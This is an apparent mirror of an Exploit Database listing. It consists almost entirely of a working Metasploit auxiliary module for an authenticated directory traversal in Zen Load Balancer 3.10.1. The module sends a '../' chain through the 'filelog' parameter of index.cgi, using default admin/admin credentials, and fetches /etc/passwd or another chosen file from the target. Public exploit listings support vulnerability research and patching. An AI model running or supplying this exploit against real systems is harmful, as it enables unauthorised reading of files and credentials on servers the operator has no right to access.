Zen Load Balancer 3.10.1 – Directory Traversal (Metasploit)

• Exploit Database
• 137 阅读

• 作者： Dhiraj Mishra
  日期： 2020-04-23
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/48373/
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  ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ##   class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner include Msf::Exploit::Remote::HttpClient   def initialize(info={}) super(update_info(info, 'Name' => "Zen Load Balancer Directory Traversal", 'Description'=> %q{ This module exploits a authenticated directory traversal vulnerability in Zen Load Balancer <code>v3.10.1</code>. The flaw exists in 'index.cgi' not properly handling 'filelog=' parameter which allows a malicious actor to load arbitrary file path. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Basim Alabdullah', # Vulnerability discovery 'Dhiraj Mishra' # Metasploit module ], 'References' => [ ['EDB', '48308'] ], 'DisclosureDate' => "Apr 10 2020" ))   register_options( [ Opt::RPORT(444), OptBool.new('SSL', [true, 'Use SSL', true]), OptInt.new('DEPTH', [true, 'The max traversal depth', 16]), OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd']), OptString.new('TARGETURI', [true, "The base URI path of the ZenConsole install", '/']), OptString.new('HttpUsername', [true, 'The username to use for the HTTP server', 'admin']), OptString.new('HttpPassword', [false, 'The password to use for the HTTP server', 'admin']) ]) end   def run_host(ip) filename = datastore['FILEPATH'] traversal = "../" * datastore['DEPTH']   res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.cgi'), 'vars_get'=> { 'id'=> '2-3', 'filelog' => "#{traversal}#{filename}", 'nlines'=> '100', 'action'=> 'See logs' }, 'authorization' => basic_auth(datastore['HttpUsername'],datastore['HttpPassword']) }, 25)   unless res && res.code == 200 print_error('Nothing was downloaded') return end   print_good("#{peer} - Downloaded #{res.body.length} bytes") path = store_loot( 'zenload.http', 'text/plain', ip, res.body, filename ) print_good("File saved in: #{path}") end end